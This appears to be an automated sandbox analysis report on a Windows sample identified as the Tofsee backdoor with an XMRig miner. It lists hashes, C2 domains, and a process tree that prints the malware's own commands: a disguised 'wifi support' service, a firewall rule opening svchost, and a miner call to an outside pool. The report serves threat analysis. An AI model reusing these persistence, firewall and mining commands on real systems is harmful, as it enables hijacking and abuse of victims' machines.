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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 00:07

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General

  • Target

    file.exe

  • Size

    327KB

  • MD5

    c620bc5dee44c490218d77b51a8da747

  • SHA1

    947e939b56984aac0f15afe93e091f0bff74d5a1

  • SHA256

    69e4bc4640c7e9cc9f00c3044c3ec548bbafd8034ee93f53308c935df8e7e651

  • SHA512

    05f9d601f1035ceb160d0774ebdfb9485cf1e399985a4be95ac35f980d39564299448c8016232af5e1c32bf6c57f68820dd6294ebd84e38e6e01fb0ba5c08521

  • SSDEEP

    6144:aIPlkzB13tpPtg4F4qIozg+7dBA0X+JY:aItA391tg4FCocIu

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rtvfmbij\
      2⤵
        PID:4932
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pvnchar.exe" C:\Windows\SysWOW64\rtvfmbij\
        2⤵
          PID:4360
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rtvfmbij binPath= "C:\Windows\SysWOW64\rtvfmbij\pvnchar.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4296
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rtvfmbij "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rtvfmbij
          2⤵
          • Launches sc.exe
          PID:2460
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 596
          2⤵
          • Program crash
          PID:3236
      • C:\Windows\SysWOW64\rtvfmbij\pvnchar.exe
        C:\Windows\SysWOW64\rtvfmbij\pvnchar.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4628
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5096
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 532
          2⤵
          • Program crash
          PID:1948
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1616 -ip 1616
        1⤵
          PID:2380
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4628 -ip 4628
          1⤵
            PID:5100

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pvnchar.exe
            Filesize

            10.8MB

            MD5

            4e7dade7b314ee8951a3d3131b874966

            SHA1

            1abf89d82812bb76a14119ab8827e434eda2ca05

            SHA256

            8bb62ed7baaefb1bfe430baa6c7937c9b4c2d85145802896eb5e78b55e748ec2

            SHA512

            e36b1cd6ffc4d05dea7e63f5c87b5ffec44dd3702181c8ac9bc20911ca921ccfecdda9318b5b94446a8e0bac217ec32de784a27e260855c9c4c1cc9a4c71c070

            Download Submit

          • C:\Windows\SysWOW64\rtvfmbij\pvnchar.exe
            Filesize

            10.8MB

            MD5

            4e7dade7b314ee8951a3d3131b874966

            SHA1

            1abf89d82812bb76a14119ab8827e434eda2ca05

            SHA256

            8bb62ed7baaefb1bfe430baa6c7937c9b4c2d85145802896eb5e78b55e748ec2

            SHA512

            e36b1cd6ffc4d05dea7e63f5c87b5ffec44dd3702181c8ac9bc20911ca921ccfecdda9318b5b94446a8e0bac217ec32de784a27e260855c9c4c1cc9a4c71c070

            Download Submit

          • memory/640-171-0x0000000000A40000-0x0000000000B31000-memory.dmp

            Filesize

            964KB

            Download

          • memory/640-176-0x0000000000A40000-0x0000000000B31000-memory.dmp

            Filesize

            964KB

            Download

          • memory/1616-133-0x00000000004F0000-0x0000000000503000-memory.dmp

            Filesize

            76KB

            Download

          • memory/1616-134-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

            Download

          • memory/1616-132-0x000000000052E000-0x0000000000543000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1616-143-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

            Download

          • memory/4628-147-0x0000000000718000-0x000000000072E000-memory.dmp

            Filesize

            88KB

            Download

          • memory/4628-149-0x0000000000400000-0x0000000000458000-memory.dmp

            Filesize

            352KB

            Download

          • memory/5096-145-0x0000000000EC0000-0x0000000000ED5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/5096-154-0x0000000000EC0000-0x0000000000ED5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/5096-155-0x00000000021F0000-0x00000000021F6000-memory.dmp

            Filesize

            24KB

            Download

          • memory/5096-158-0x0000000002D50000-0x0000000002D60000-memory.dmp

            Filesize

            64KB

            Download

          • memory/5096-161-0x0000000002FE0000-0x0000000002FE5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/5096-164-0x0000000007A40000-0x0000000007E4B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/5096-167-0x0000000002FF0000-0x0000000002FF7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/5096-151-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/5096-150-0x0000000000EC0000-0x0000000000ED5000-memory.dmp

            Filesize

            84KB

            Download